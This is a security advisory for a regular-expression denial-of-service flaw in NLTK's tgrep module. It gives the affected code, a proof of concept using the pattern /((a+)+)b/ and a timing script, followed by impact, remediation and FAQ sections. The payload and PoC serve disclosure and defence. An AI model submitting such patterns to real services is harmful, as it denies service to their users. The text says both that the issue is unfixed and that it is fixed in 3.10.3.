GHSA-w3v8-gmh9-3wv7: Pip/nltk vulnerability
Summary The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.
Affected Code nltk/tgrep.py — tgrepnodeaction() (around line 320)
When a tgrep pattern contains a /regex/ node, tgrepnodeaction compiles the embedded regex literal directly with no validation:
python def tgrepnodeaction(s, l, tokens): ... elif tokens[0].startswith("/"): assert tokens[0].endswith("/") nodelit = tokens[0][1:-1] return ( lambda r: lambda n, m=None, l=None: r.search( tgrepnodeliteralvalue(n) ) )(re.compile(nodelit)) # User regex compiled and executed with no timeout The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgreppositions() or tgrepcompile() controls nodelit entirely.
Proof of Concept python import nltk from nltk.tgrep import tgreppositions
Root node label is 25 'a' characters. tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") No 'b' is present — exponential backtracking occurs. tree = nltk.Tree.fromstring("(" + "a" 25 + " (NP (DT the)))") tgreppositions(r"/((a+)+)b/", [tree]) # Never returns
Working Poc
The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgreppositions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.
python import nltk from nltk.tgrep import tgreppositions import time
def testn(n): tree = nltk.Tree.fromstring("(" + "a" n + " (NP (DT the)))") pattern = r"/((a+)+)b/" start = time.perfcounter() list(tgreppositions(pattern, [tree])) return time.perfcounter() - start
if name == "main": # Adjust the range if needed – these values complete quickly nvalues = [18, 20, 22, 24, 26, 28] print(f"Testing n = {nvalues}\n")
times = [] for n in nvalues: t = testn(n) times.append((n, t)) print(f"n={n:2d} done", flush=True)
print("\n--- Increase factors (per step in n) ---") factors = [] for i in range(1, len(times)): prevn, prevt = times[i-1] currn, currt = times[i] factor = currt / prevt factors.append((currn, factor)) print(f"n={currn:2d} : factor = {factor:.2f}x (vs n={prevn})")
avg = sum(f for , f in factors) / len(factors) print(f"\nAverage factor: {avg:.2f}x") print("\n✅ Confirmed: exponential growth (catastrophic backtracking).") print(" Larger n (≥ 35) will hang indefinitely.")
When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.
Impact In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.
Remediation This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.
Credit Tool: Kira by Offgrid Security
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/nltkto a version that resolves this vulnerability.Fixed in 3.10.3 - Compensating control
Add a timeout-guarded mechanism around the embedded regex execution used by NLTK's `tgrep` (i.e., the regex compiled from `/regex/` literals and run via `r.search(...)`) so a catastrophic backtracking pattern (e.g., `((a+)+)b` against many `a` characters) cannot block the Python process indefinitely.
Event History
Frequently Asked Questions
Which applications are exposed to this issue?
Applications are exposed if they allow external input to reach NLTK tgrep patterns. In particular, callers of tgrep_positions() or tgrep_compile() that permit a user to control a /regex/ node can reach the vulnerable path.
What does an attacker need to trigger the denial of service?
The attacker needs control over the embedded regular expression literal in a tgrep pattern and a way to submit that pattern to the application. The regex is compiled and searched against matching tree-node labels without validation or a timeout.
How can we determine whether our application is affected?
Review uses of tgrep_positions() and tgrep_compile() and trace whether pattern strings can originate from HTTP requests, form fields, APIs, uploaded content, or other untrusted sources. Patterns containing /regex/ nodes are the relevant inputs.